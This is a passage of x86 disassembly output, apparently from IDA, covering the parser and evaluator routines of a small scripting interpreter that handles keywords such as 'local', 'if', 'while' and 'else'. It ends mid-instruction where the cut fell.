sub_4121F3 proc near ; CODE XREF: sub_411338+17p push esi push edi push 1 lea esi, [ebx+2C8h] push 0 mov eax, esi call sub_4137A8 call sub_413A1C lea edi, [ebx+2A8h] call sub_413EB2 lea edi, [ebx+288h] call sub_413EB2 lea edi, [ebx+15Ch] call sub_4121AA push dword ptr [ebx+104h] call sub_41CA28 pop ecx pop edi pop esi retn sub_4121F3 endp ; --------------------------------------------------------------------------- loc_41223B: ; CODE XREF: .text:00411366j push ebx mov ebx, eax cmp dword ptr [ebx+154h], 11h jz short loc_412268 push esi loc_412248: ; CODE XREF: .text:00412265j call sub_412810 test eax, eax jz short loc_412267 lea esi, [ebx+104h] call sub_410A3B cmp eax, 11h mov [ebx+154h], eax jnz short loc_412248 loc_412267: ; CODE XREF: .text:0041224Fj pop esi loc_412268: ; CODE XREF: .text:00412245j pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_41226A proc near ; CODE XREF: sub_41226A+39Ap ; sub_41226A+4A2p ... mov eax, offset loc_427CFD call sub_41E550 sub esp, 364h and dword ptr [ebp-14h], 0 push ebx push esi push edi mov ebx, ecx push ebx lea eax, [ebp-168h] push eax mov [ebp-20h], ebx call sub_412B23 and dword ptr [ebp-4], 0 lea esi, [ebx+15Ch] mov edi, esi mov [ebp-24h], esi mov [ebp-1Ch], edi loc_4122A5: ; CODE XREF: sub_41226A+513j cmp dword ptr [ebx+100h], 0 jnz loc_4127D5 mov eax, [ebx+154h] cmp eax, 11h jz loc_4127D5 cmp eax, 10h jz loc_4127D5 cmp eax, 1 jnz loc_41237B lea ecx, [ebx+104h] mov [ebp-10h], ecx call sub_410F83 push eax add edi, 104h call sub_413CE3 mov ecx, [ebp-10h] push offset aLocal ; "local" mov edi, eax call sub_410F83 push eax call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_412314 mov dword ptr [ebp-14h], 1 jmp loc_412769 ; --------------------------------------------------------------------------- loc_412314: ; CODE XREF: sub_41226A+9Cj mov ecx, [ebp-10h] push offset aIf ; "if" call sub_410F83 push eax call sub_41C730 test eax, eax pop ecx pop ecx jz loc_412782 mov ecx, [ebp-10h] push offset aWhile ; "while" call sub_410F83 push eax call sub_41C730 test eax, eax pop ecx pop ecx jz loc_4127A9 test edi, edi jz loc_41278D push edi mov ecx, ebx call sub_412A38 test eax, eax jz loc_41278D mov [ebp-1Ch], esi loc_412369: ; CODE XREF: sub_41226A+4ABj mov ecx, eax lea eax, [ebp-168h] call sub_4136AB jmp loc_412769 ; --------------------------------------------------------------------------- loc_41237B: ; CODE XREF: sub_41226A+63j cmp eax, 2 jnz short loc_4123DD lea ecx, [ebx+104h] push 100h mov [ebp-10h], ecx call sub_410F83 push eax lea eax, [ebp-268h] push eax call sub_41C5A0 lea eax, [ebp-268h] add esp, 0Ch push eax call sub_41C350 pop ecx lea ecx, [ebp-268h] dec ecx mov byte ptr [eax+ecx], 0 lea eax, [ebp-268h] push eax add edi, 118h call sub_413D53 test eax, eax jz loc_41278D mov [ebp-1Ch], eax jmp loc_412769 ; --------------------------------------------------------------------------- loc_4123DD: ; CODE XREF: sub_41226A+114j cmp eax, 3 jnz loc_4126EF xor esi, esi inc esi cmp dword ptr [ebp-14h], 0 mov [ebp-18h], esi jz short loc_4123FB mov esi, [ebx+158h] mov [ebp-18h], esi loc_4123FB: ; CODE XREF: sub_41226A+186j lea ecx, [ebx+104h] mov [ebp-10h], ecx call sub_410F83 cmp byte ptr [eax], 24h jnz loc_412533 push dword ptr [ebx+158h] lea edi, [ebx+2A8h] call sub_410F83 push eax call sub_413E66 test eax, eax jnz short loc_41244A loc_41242D: ; CODE XREF: sub_41226A+1EAj push 18h call sub_41BA91 test eax, eax pop ecx jz short loc_412456 xor ecx, ecx mov [eax+10h], ecx mov [eax+8], ecx mov [eax+4], ecx mov [eax], ecx mov edi, eax jmp short loc_412458 ; --------------------------------------------------------------------------- loc_41244A: ; CODE XREF: sub_41226A+1C1j cmp [eax], esi jz short loc_41247B cmp dword ptr [ebp-14h], 0 jz short loc_41247B jmp short loc_41242D ; --------------------------------------------------------------------------- loc_412456: ; CODE XREF: sub_41226A+1CDj xor edi, edi loc_412458: ; CODE XREF: sub_41226A+1DEj lea eax, [ebx+2C8h] push edi mov [edi], esi call sub_41377F mov ecx, [ebp-10h] push edi call sub_410F83 lea ecx, [ebx+2A8h] push eax call sub_413D9E loc_41247B: ; CODE XREF: sub_41226A+1E2j ; sub_41226A+1E8j mov eax, [ebp-10h] call sub_410EEB cmp eax, 4 jnz short loc_4124D0 mov ecx, [ebp-10h] call sub_410F83 mov esi, eax call sub_410FAD call sub_4111D3 test eax, eax jz short loc_4124D0 mov eax, [ebp-10h] call sub_410F14 push dword ptr [ebp-18h] mov ecx, eax call sub_410F83 push eax lea edi, [ebx+2A8h] call sub_413E66 mov ecx, eax loc_4124C0: ; CODE XREF: sub_41226A+2C7j lea eax, [ebp-168h] call sub_4136AB jmp loc_4126E9 ; --------------------------------------------------------------------------- loc_4124D0: ; CODE XREF: sub_41226A+21Cj ; sub_41226A+234j mov eax, [ebp-10h] call sub_410F14 push dword ptr [ebx+158h] mov ecx, eax call sub_410F83 push eax lea edi, [ebx+2A8h] call sub_413E66 mov edi, eax xor esi, esi cmp [edi+8], esi jz loc_41278D push 18h call sub_41BA91 cmp eax, esi pop ecx jz short loc_41251A mov ecx, [edi+8] mov [eax+10h], esi mov [eax+4], esi mov [eax], esi mov [eax+8], ecx mov esi, eax loc_41251A: ; CODE XREF: sub_41226A+29Ej mov eax, edi mov ecx, esi call sub_41002B push esi lea eax, [ebx+2C8h] call sub_41377F mov ecx, esi jmp short loc_4124C0 ; --------------------------------------------------------------------------- loc_412533: ; CODE XREF: sub_41226A+1A2j call sub_410F83 cmp byte ptr [eax], 40h jnz loc_4126E9 push dword ptr [ebx+158h] mov ecx, [ebp-10h] lea edi, [ebx+288h] call sub_410F83 push eax call sub_413E66 xor esi, esi cmp eax, esi jnz short loc_412586 push 18h call sub_41BA91 pop ecx cmp eax, esi jz short loc_41257B mov [eax+8], esi mov [eax+0Ch], esi mov [eax+10h], esi mov [eax+14h], ebx mov esi, eax loc_41257B: ; CODE XREF: sub_41226A+301j mov eax, [ebp-18h] mov byte ptr [ebp-4], 0 mov [esi], eax jmp short loc_4125B2 ; --------------------------------------------------------------------------- loc_412586: ; CODE XREF: sub_41226A+2F5j mov edi, [ebp-18h] cmp [eax], edi jz short loc_4125D3 cmp [ebp-14h], esi jz short loc_4125D3 push 18h call sub_41BA91 pop ecx cmp eax, esi jz short loc_4125AC mov [eax+8], esi mov [eax+0Ch], esi mov [eax+10h], esi mov [eax+14h], ebx mov esi, eax loc_4125AC: ; CODE XREF: sub_41226A+332j mov byte ptr [ebp-4], 0 mov [esi], edi loc_4125B2: ; CODE XREF: sub_41226A+31Aj lea eax, [ebx+2C8h] push esi call sub_41377F mov ecx, [ebp-10h] push esi call sub_410F83 lea ecx, [ebx+288h] push eax call sub_413D9E loc_4125D3: ; CODE XREF: sub_41226A+321j ; sub_41226A+326j mov esi, [ebp-10h] push 100h mov ecx, esi call sub_410F83 push eax lea eax, [ebp-368h] push eax call sub_41C5A0 add esp, 0Ch call sub_410A3B cmp eax, 9 jnz loc_4126E9 push 0Ah mov ecx, ebx call sub_41226A test eax, eax jz loc_41278D xor ecx, ecx mov [ebp-30h], ecx mov dword ptr [ebp-38h], 1 mov [ebp-3Ch], ecx mov [ebp-40h], ecx lea ecx, [ebp-40h] mov byte ptr [ebp-4], 3 call sub_41002B push dword ptr [ebx+158h] lea eax, [ebp-368h] push eax lea edi, [ebx+288h] call sub_413E66 mov edi, [ebp-30h] mov esi, eax call sub_41097C mov edi, eax test edi, edi jz loc_4127B2 mov eax, [ebp-10h] call sub_410EEB cmp eax, 4 jnz short loc_41268C mov ecx, [ebp-10h] call sub_410F83 mov esi, eax call sub_410FAD call sub_4111D3 test eax, eax jz short loc_41268C mov eax, [ebp-10h] call sub_410F14 mov ecx, edi jmp short loc_4126D2 ; --------------------------------------------------------------------------- loc_41268C: ; CODE XREF: sub_41226A+3FCj ; sub_41226A+414j mov eax, [ebp-10h] call sub_410F14 xor esi, esi cmp [edi+8], esi jz loc_4127B2 push 18h call sub_41BA91 cmp eax, esi pop ecx jz short loc_4126BB mov ecx, [edi+8] mov [eax+10h], esi mov [eax+4], esi mov [eax], esi mov [eax+8], ecx mov esi, eax loc_4126BB: ; CODE XREF: sub_41226A+43Fj mov eax, edi mov ecx, esi call sub_41002B push esi lea eax, [ebx+2C8h] call sub_41377F mov ecx, esi loc_4126D2: ; CODE XREF: sub_41226A+420j lea eax, [ebp-168h] call sub_4136AB lea esi, [ebp-40h] mov byte ptr [ebp-4], 0 call sub_40FE7D loc_4126E9: ; CODE XREF: sub_41226A+261j ; sub_41226A+2D1j ... and dword ptr [ebp-14h], 0 jmp short loc_412769 ; --------------------------------------------------------------------------- loc_4126EF: ; CODE XREF: sub_41226A+176j cmp eax, 7 jnz short loc_41271A lea esi, [ebx+104h] mov [ebp-10h], esi call sub_410A3B push 8 mov ecx, ebx mov [ebx+154h], eax call sub_41226A test eax, eax jz short loc_41278D jmp loc_412369 ; --------------------------------------------------------------------------- loc_41271A: ; CODE XREF: sub_41226A+488j cmp eax, [ebp+8] jz loc_4127C3 cmp eax, 0Bh jz loc_4127BC cmp eax, 0Ch jz short loc_41278D cmp eax, 6 jz short loc_41278D cmp eax, 8 jz short loc_41278D cmp eax, 5 jz loc_4127D5 lea ecx, [ebx+104h] push 1 mov [ebp-10h], ecx call sub_410F83 push eax push dword ptr [ebx+154h] lea ebx, [ebp-168h] call sub_413535 mov ebx, [ebp-20h] loc_412769: ; CODE XREF: sub_41226A+A5j ; sub_41226A+10Cj ... mov esi, [ebp-10h] call sub_410A3B mov esi, [ebp-24h] mov edi, [ebp-1Ch] mov [ebx+154h], eax jmp loc_4122A5 ; --------------------------------------------------------------------------- loc_412782: ; CODE XREF: sub_41226A+C1j mov eax, ebx call sub_41288D loc_412789: ; CODE XREF: sub_41226A+546j ; sub_41226A+557j test eax, eax jnz short loc_4127C3 loc_41278D: ; CODE XREF: sub_41226A+E6j ; sub_41226A+F6j ... xor edi, edi loc_41278F: ; CODE XREF: sub_41226A+569j lea esi, [ebp-158h] call sub_413A1C lea esi, [ebp-168h] call sub_413A1C mov eax, edi jmp short loc_4127ED ; --------------------------------------------------------------------------- loc_4127A9: ; CODE XREF: sub_41226A+DEj mov eax, ebx call sub_412963 jmp short loc_412789 ; --------------------------------------------------------------------------- loc_4127B2: ; CODE XREF: sub_41226A+3EBj ; sub_41226A+42Fj lea esi, [ebp-40h] call sub_40FE7D jmp short loc_41278D ; --------------------------------------------------------------------------- loc_4127BC: ; CODE XREF: sub_41226A+4BCj call sub_412810 jmp short loc_412789 ; --------------------------------------------------------------------------- loc_4127C3: ; CODE XREF: sub_41226A+4B3j ; sub_41226A+521j push 0 lea eax, [ebp-168h] push eax call sub_412B5E mov edi, eax jmp short loc_41278F ; --------------------------------------------------------------------------- loc_4127D5: ; CODE XREF: sub_41226A+42j ; sub_41226A+51j ... lea esi, [ebp-158h] call sub_413A1C lea esi, [ebp-168h] call sub_413A1C xor eax, eax loc_4127ED: ; CODE XREF: sub_41226A+53Dj mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_41226A endp ; --------------------------------------------------------------------------- loc_4127FE: ; CODE XREF: .text:00427CD6j push esi lea esi, [edi+10h] call sub_413A1C mov esi, edi call sub_413A1C pop esi retn ; =============== S U B R O U T I N E ======================================= sub_412810 proc near ; CODE XREF: .text:loc_412248p ; sub_41226A:loc_4127BCp inc dword ptr [ebx+158h] push esi lea esi, [ebx+104h] call sub_410A3B cmp eax, 0Ch mov [ebx+154h], eax jz short loc_41284A loc_41282D: ; CODE XREF: sub_412810+38j push 6 mov ecx, ebx call sub_41226A test eax, eax jz short loc_412889 call sub_410A3B cmp eax, 0Ch mov [ebx+154h], eax jnz short loc_41282D loc_41284A: ; CODE XREF: sub_412810+1Bj push edi push dword ptr [ebx+158h] lea edi, [ebx+2A8h] call sub_413F06 push dword ptr [ebx+158h] lea edi, [ebx+288h] call sub_413F06 push 0 push dword ptr [ebx+158h] lea eax, [ebx+2C8h] call sub_4137A8 dec dword ptr [ebx+158h] pop edi pop esi retn ; --------------------------------------------------------------------------- loc_412889: ; CODE XREF: sub_412810+28j xor eax, eax pop esi retn sub_412810 endp ; =============== S U B R O U T I N E ======================================= sub_41288D proc near ; CODE XREF: sub_41226A+51Ap push ebp push esi push edi mov edi, eax lea esi, [edi+104h] xor ebp, ebp call sub_410A3B xor ecx, ecx cmp eax, 7 setnz cl mov eax, ecx test eax, eax mov [edi+154h], eax jz short loc_4128BA xor eax, eax jmp loc_41295F ; --------------------------------------------------------------------------- loc_4128BA: ; CODE XREF: sub_41288D+24j push ebx call sub_410A3B push 8 mov ecx, edi mov [edi+154h], eax call sub_41226A mov ebx, eax test ebx, ebx jnz short loc_4128DC loc_4128D5: ; CODE XREF: sub_41288D+72j ; sub_41288D+C0j xor eax, eax jmp loc_41295E ; --------------------------------------------------------------------------- loc_4128DC: ; CODE XREF: sub_41288D+46j call sub_410A3B mov [edi+154h], eax mov eax, [ebx+10h] or eax, [ebx+14h] jz short loc_412901 xor ebp, ebp push 6 mov ecx, edi inc ebp call sub_41226A test eax, eax jnz short loc_412906 jmp short loc_4128D5 ; --------------------------------------------------------------------------- loc_412901: ; CODE XREF: sub_41288D+60j call sub_4129E5 loc_412906: ; CODE XREF: sub_41288D+70j mov eax, esi call sub_410EEB push offset aElse ; "else" mov ecx, esi call sub_410F83 push eax call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_412954 mov eax, esi call sub_410F14 call sub_410A3B call sub_410A3B test ebp, ebp mov [edi+154h], eax jnz short loc_41294F push 6 mov ecx, edi call sub_41226A test eax, eax jnz short loc_412954 jmp short loc_4128D5 ; --------------------------------------------------------------------------- loc_41294F: ; CODE XREF: sub_41288D+B1j call sub_4129E5 loc_412954: ; CODE XREF: sub_41288D+96j ; sub_41288D+BEj mov eax, esi call sub_410F14 xor eax, eax inc eax loc_41295E: ; CODE XREF: sub_41288D+4Aj pop ebx loc_41295F: ; CODE XREF: sub_41288D+28j pop edi pop esi pop ebp retn sub_41288D endp ; =============== S U B R O U T I N E ======================================= sub_412963 proc near ; CODE XREF: sub_41226A+541p push esi push edi mov edi, eax lea esi, [edi+104h] call sub_410A3B xor ecx, ecx cmp eax, 7 setnz cl mov eax, ecx test eax, eax mov [edi+154h], eax jz short loc_41298A xor eax, eax jmp short loc_4129E2 ; --------------------------------------------------------------------------- loc_41298A: ; CODE XREF: sub_412963+21j push ebx push ebp mov ebp, [edi+124h] loc_412992: ; CODE XREF: sub_412963+60j call sub_410A3B mov ecx, edi push 8 mov [edi+154h], eax call sub_41226A mov ebx, eax test ebx, ebx jnz short loc_4129C5 loc_4129AC: ; CODE XREF: sub_412963+58j xor eax, eax jmp short loc_4129E0 ; --------------------------------------------------------------------------- loc_4129B0: ; CODE XREF: sub_412963+73j push 6 mov ecx, edi call sub_41226A test eax, eax jz short loc_4129AC mov [edi+124h], ebp jmp short loc_412992 ; --------------------------------------------------------------------------- loc_4129C5: ; CODE XREF: sub_412963+47j call sub_410A3B mov [edi+154h], eax mov eax, [ebx+10h] or eax, [ebx+14h] jnz short loc_4129B0 call sub_4129E5 xor eax, eax inc eax loc_4129E0: ; CODE XREF: sub_412963+4Bj pop ebp pop ebx loc_4129E2: ; CODE XREF: sub_412963+25j pop edi pop esi retn sub_412963 endp ; =============== S U B R O U T I N E ======================================= sub_4129E5 proc near ; CODE XREF: sub_41288D:loc_412901p ; sub_41288D:loc_41294Fp ... mov eax, [edi+154h] cmp eax, 0Bh push esi jnz short loc_412A1B push ebx xor ebx, ebx inc ebx lea esi, [edi+104h] loc_4129FB: ; CODE XREF: sub_4129E5+31j call sub_410A3B cmp eax, 0Bh mov [edi+154h], eax jnz short loc_412A0E inc ebx jmp short loc_412A14 ; --------------------------------------------------------------------------- loc_412A0E: ; CODE XREF: sub_4129E5+24j cmp eax, 0Ch jnz short loc_412A14 dec ebx loc_412A14: ; CODE XREF: sub_4129E5+27j ; sub_4129E5+2Cj test ebx, ebx jnz short loc_4129FB pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_412A1B: ; CODE XREF: sub_4129E5+Aj cmp eax, 6 jz short loc_412A36 lea esi, [edi+104h] loc_412A26: ; CODE XREF: sub_4129E5+4Fj call sub_410A3B cmp eax, 6 mov [edi+154h], eax jnz short loc_412A26 loc_412A36: ; CODE XREF: sub_4129E5+39j pop esi retn sub_4129E5 endp ; =============== S U B R O U T I N E ======================================= sub_412A38 proc near ; CODE XREF: sub_41226A+EFp mov eax, offset loc_427D97 call sub_41E550 sub esp, 14h push ebx xor eax, eax push esi push edi mov ebx, ecx mov [ebp-1Ch], eax mov [ebp-18h], eax mov [ebp-14h], eax lea esi, [ebx+104h] mov [ebp-4], eax call sub_410A3B cmp eax, 7 jnz loc_412B1F call sub_410A3B mov edi, [ebp+8] mov [ebx+154h], eax mov eax, [edi+110h] test eax, eax jbe short loc_412AE1 mov dword ptr [ebp+8], 1 loc_412A8B: ; CODE XREF: sub_412A38+A7j xor ecx, ecx cmp [ebp+8], eax setnz cl dec ecx and ecx, 3 add ecx, 5 push ecx mov ecx, ebx call sub_41226A test eax, eax mov [ebp-10h], eax jz short loc_412B1F lea esi, [ebp-10h] lea eax, [ebp-20h] call sub_413F72 mov eax, [ebp+8] cmp eax, [edi+110h] jz short loc_412AD0 lea esi, [ebx+104h] call sub_410A3B mov [ebx+154h], eax loc_412AD0: ; CODE XREF: sub_412A38+85j inc dword ptr [ebp+8] mov ecx, [ebp+8] mov eax, [edi+110h] dec ecx cmp ecx, eax jb short loc_412A8B loc_412AE1: ; CODE XREF: sub_412A38+4Aj push dword ptr [ebx+2D8h] lea eax, [ebp-20h] push eax call sub_413838 mov esi, eax push esi lea eax, [ebx+2C8h] call sub_41377F test esi, esi jz short loc_412B1F mov edi, esi loc_412B04: ; CODE XREF: sub_412A38+E9j lea esi, [ebp-20h] call sub_413A1C mov ecx, [ebp-0Ch] mov eax, edi pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_412B1F: ; CODE XREF: sub_412A38+2Ej ; sub_412A38+6Fj ... xor edi, edi jmp short loc_412B04 sub_412A38 endp ; =============== S U B R O U T I N E ======================================= sub_412B23 proc near ; CODE XREF: sub_41226A+24p mov eax, offset loc_427DA9 call sub_41E550 mov eax, [ebp+8] xor ecx, ecx mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx mov [eax+14h], ecx mov [eax+18h], ecx mov [eax+1Ch], ecx mov [eax+20h], ecx mov ecx, [ebp+0Ch] mov [eax+124h], ecx mov ecx, [ebp-0Ch] mov large fs:0, ecx leave retn 8 sub_412B23 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_412B5E proc near ; CODE XREF: sub_41226A+562p mov eax, offset loc_427C4B call sub_41E550 mov eax, 2AE0h call sub_41E090 push ebx mov ebx, [ebp+8] push esi push edi push dword ptr [ebx+20h] lea eax, [ebx+24h] call sub_41124B test eax, eax pop ecx jnz loc_413531 push 18h call sub_41BA91 xor edi, edi cmp eax, edi pop ecx jz short loc_412BAD mov ecx, [ebp+0Ch] mov [eax+10h], edi mov [eax+8], ecx mov [eax+4], edi mov [eax], edi mov [ebp+0Ch], eax jmp short loc_412BB0 ; --------------------------------------------------------------------------- loc_412BAD: ; CODE XREF: sub_412B5E+3Aj mov [ebp+0Ch], edi loc_412BB0: ; CODE XREF: sub_412B5E+4Dj lea eax, [ebx+124h] mov ecx, [eax] mov edx, [ecx+158h] mov ecx, [ebp+0Ch] mov [ecx], edx mov eax, [eax] push ecx add eax, 2C8h call sub_41377F lea eax, [ebx+10h] mov [ebp-14h], eax call sub_413A4F test eax, eax jz loc_4134C7 loc_412BE3: ; CODE XREF: sub_412B5E+961j mov eax, [ebx+18h] push 42h lea esi, [eax-108h] pop ecx lea edi, [ebp-185Ch] rep movsd mov esi, [ebp-14h] call sub_413A09 mov eax, [ebp-1758h] cmp eax, 6 jnz short loc_412C1F mov eax, [ebx+8] mov esi, [eax-4] sub eax, 108h call sub_4105A6 jmp loc_4134B5 ; --------------------------------------------------------------------------- loc_412C1F: ; CODE XREF: sub_412B5E+AAj cmp eax, 12h jnz short loc_412C3C mov eax, [ebx+8] sub eax, 108h mov eax, [eax+104h] call sub_410583 jmp loc_4134B5 ; --------------------------------------------------------------------------- loc_412C3C: ; CODE XREF: sub_412B5E+C4j cmp eax, 0Fh jnz short loc_412C56 mov eax, [ebx+8] mov ecx, [eax-4] sub eax, 108h call sub_4105E6 jmp loc_4134B5 ; --------------------------------------------------------------------------- loc_412C56: ; CODE XREF: sub_412B5E+E1j cmp eax, 10h jnz short loc_412CAD mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-29E4h] rep movsd mov esi, ebx call sub_413A09 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-0D04h] rep movsd mov esi, ebx call sub_413A09 mov ecx, [ebp-28E0h] mov eax, [ebp-0C00h] call sub_41052D lea eax, [ebp-0D04h] jmp loc_4134AD ; --------------------------------------------------------------------------- loc_412CAD: ; CODE XREF: sub_412B5E+FBj cmp eax, 11h jnz short loc_412D04 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-1B74h] rep movsd mov esi, ebx call sub_413A09 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-164Ch] rep movsd mov esi, ebx call sub_413A09 mov ecx, [ebp-1A70h] mov eax, [ebp-1548h] call sub_410558 lea eax, [ebp-164Ch] jmp loc_4134AD ; --------------------------------------------------------------------------- loc_412D04: ; CODE XREF: sub_412B5E+152j cmp eax, 13h jnz short loc_412D5B mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-23B4h] rep movsd mov esi, ebx call sub_413A09 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-7DCh] rep movsd mov esi, ebx call sub_413A09 mov eax, [ebp-22B0h] mov esi, [ebp-6D8h] call sub_410602 lea eax, [ebp-7DCh] jmp loc_4134AD ; --------------------------------------------------------------------------- loc_412D5B: ; CODE XREF: sub_412B5E+1A9j cmp eax, 16h jnz short loc_412DB9 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-1D84h] rep movsd mov esi, ebx call sub_413A09 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-101Ch] rep movsd mov esi, ebx call sub_413A09 mov eax, [ebp-1C80h] mov esi, [ebp-0F18h] call sub_410602 mov eax, esi call sub_410583 lea eax, [ebp-101Ch] jmp loc_4134AD ; --------------------------------------------------------------------------- loc_412DB9: ; CODE XREF: sub_412B5E+200j cmp eax, 14h jnz short loc_412E10 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-27D4h] rep movsd mov esi, ebx call sub_413A09 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-9ECh] rep movsd mov esi, ebx call sub_413A09 mov edi, [ebp-26D0h] mov esi, [ebp-8E8h] call sub_41071F lea eax, [ebp-9ECh] jmp loc_4134AD ; --------------------------------------------------------------------------- loc_412E10: ; CODE XREF: sub_412B5E+25Ej cmp eax, 15h jnz short loc_412E67 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-1F94h] rep movsd mov esi, ebx call sub_413A09 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-143Ch] rep movsd mov esi, ebx call sub_413A09 mov edi, [ebp-1E90h] mov esi, [ebp-1338h] call sub_410816 lea eax, [ebp-143Ch] jmp loc_4134AD ; --------------------------------------------------------------------------- loc_412E67: ; CODE XREF: sub_412B5E+2B5j cmp eax, 17h jnz loc_412F38 mov eax, [ebx+8] push 42h lea esi, [eax-108h] pop ecx lea edi, [ebp-25C4h] rep movsd mov esi, ebx call sub_413A09 mov eax, [ebx+8] push 42h lea esi, [eax-108h] pop ecx lea edi, [ebp-1ACh] rep movsd mov esi, ebx call sub_413A09 xor eax, eax mov [ebp-1Ch], eax mov [ebp-24h], eax mov [ebp-28h], eax mov [ebp-2Ch], eax mov [ebp-4], eax mov [ebp-64h], eax mov [ebp-6Ch], eax mov [ebp-70h], eax mov [ebp-74h], eax mov byte ptr [ebp-4], 1 mov eax, [ebp-0A8h] lea ecx, [ebp-2Ch] call sub_41002B mov eax, [ebp-0A8h] lea ecx, [ebp-74h] call sub_41002B mov edi, [ebp-24C0h] lea esi, [ebp-2Ch] call sub_41071F mov eax, edi lea esi, [ebp-74h] call sub_410602 lea ecx, [ebp-74h] lea eax, [ebp-2Ch] call sub_410558 mov ecx, [ebp-0A8h] lea eax, [ebp-2Ch] call sub_41002B lea eax, [ebp-1ACh] push eax mov eax, ebx call sub_4139C6 call sub_40FE7D lea esi, [ebp-2Ch] loc_412F2A: ; CODE XREF: sub_412B5E+4A1j ; sub_412B5E+5C3j ... or dword ptr [ebp-4], 0FFFFFFFFh call sub_40FE7D jmp loc_4134B5 ; --------------------------------------------------------------------------- loc_412F38: ; CODE XREF: sub_412B5E+30Cj cmp eax, 18h jnz loc_413004 mov eax, [ebx+8] push 42h lea esi, [eax-108h] pop ecx lea edi, [ebp-21A4h] rep movsd mov esi, ebx call sub_413A09 mov eax, [ebx+8] push 42h lea esi, [eax-108h] pop ecx lea edi, [ebp-2B4h] rep movsd mov esi, ebx call sub_413A09 xor eax, eax mov [ebp-34h], eax mov [ebp-3Ch], eax mov [ebp-40h], eax mov [ebp-44h], eax mov dword ptr [ebp-4], 2 mov [ebp-4Ch], eax mov [ebp-54h], eax mov [ebp-58h], eax mov [ebp-5Ch], eax mov byte ptr [ebp-4], 3 mov eax, [ebp-1B0h] lea ecx, [ebp-44h] call sub_41002B mov eax, [ebp-1B0h] lea ecx, [ebp-5Ch] call sub_41002B mov edi, [ebp-20A0h] lea esi, [ebp-44h] call sub_410816 mov eax, edi lea esi, [ebp-5Ch] call sub_410602 lea ecx, [ebp-5Ch] lea eax, [ebp-44h] call sub_410558 mov ecx, [ebp-1B0h] lea eax, [ebp-44h] call sub_41002B lea eax, [ebp-2B4h] push eax mov eax, ebx call sub_4139C6 call sub_40FE7D lea esi, [ebp-44h] jmp loc_412F2A ; --------------------------------------------------------------------------- loc_413004: ; CODE XREF: sub_412B5E+3DDj cmp eax, 2 jnz short loc_41305B mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-1964h] rep movsd mov esi, ebx call sub_413A09 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-0BFCh] rep movsd mov esi, ebx call sub_413A09 mov eax, [ebp-1860h] mov ecx, [ebp-0AF8h] call sub_4100B9 lea eax, [ebp-0BFCh] jmp loc_4134AD ; --------------------------------------------------------------------------- loc_41305B: ; CODE XREF: sub_412B5E+4A9j cmp eax, 3 jnz short loc_4130B2 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-1A6Ch] rep movsd mov esi, ebx call sub_413A09 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-122Ch] rep movsd mov esi, ebx call sub_413A09 mov edi, [ebp-1968h] mov esi, [ebp-1128h] call sub_4101DB lea eax, [ebp-122Ch] jmp loc_4134AD ; --------------------------------------------------------------------------- loc_4130B2: ; CODE XREF: sub_412B5E+500j cmp eax, 4 jnz short loc_413126 mov eax, [ebx+8] push 42h lea esi, [eax-108h] pop ecx lea edi, [ebp-0E0Ch] rep movsd mov esi, ebx call sub_413A09 xor ecx, ecx mov [ebp-0A0h], ecx mov [ebp-0A4h], ecx xor eax, eax mov dword ptr [ebp-4], 4 inc eax mov [ebp-94h], eax mov [ebp-90h], ecx mov ecx, [ebp-0D08h] mov [ebp-9Ch], eax lea eax, [ebp-0A4h] call sub_4100B9 lea eax, [ebp-0E0Ch] push eax mov eax, ebx call sub_4139C6 lea esi, [ebp-0A4h] jmp loc_412F2A ; --------------------------------------------------------------------------- loc_413126: ; CODE XREF: sub_412B5E+557j cmp eax, 5 jnz short loc_413194 mov eax, [ebx+8] push 42h lea esi, [eax-108h] pop ecx lea edi, [ebp-5CCh] rep movsd mov esi, ebx call sub_413A09 xor ecx, ecx mov [ebp-88h], ecx mov [ebp-8Ch], ecx mov dword ptr [ebp-4], 5 mov esi, [ebp-4C8h] xor eax, eax inc eax lea edi, [ebp-8Ch] mov [ebp-7Ch], eax mov [ebp-78h], ecx mov [ebp-84h], eax call sub_4101DB lea eax, [ebp-5CCh] push eax mov eax, ebx call sub_4139C6 lea esi, [ebp-8Ch] jmp loc_412F2A ; --------------------------------------------------------------------------- loc_413194: ; CODE XREF: sub_412B5E+5CBj cmp eax, 7 jnz short loc_4131EB mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-1C7Ch] rep movsd mov esi, ebx call sub_413A09 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-6D4h] rep movsd mov esi, ebx call sub_413A09 mov edi, [ebp-1B78h] mov esi, [ebp-5D0h] call sub_4102C7 lea eax, [ebp-6D4h] jmp loc_4134AD ; --------------------------------------------------------------------------- loc_4131EB: ; CODE XREF: sub_412B5E+639j cmp eax, 8 jnz short loc_413242 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-1E8Ch] rep movsd mov esi, ebx call sub_413A09 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-8E4h] rep movsd mov 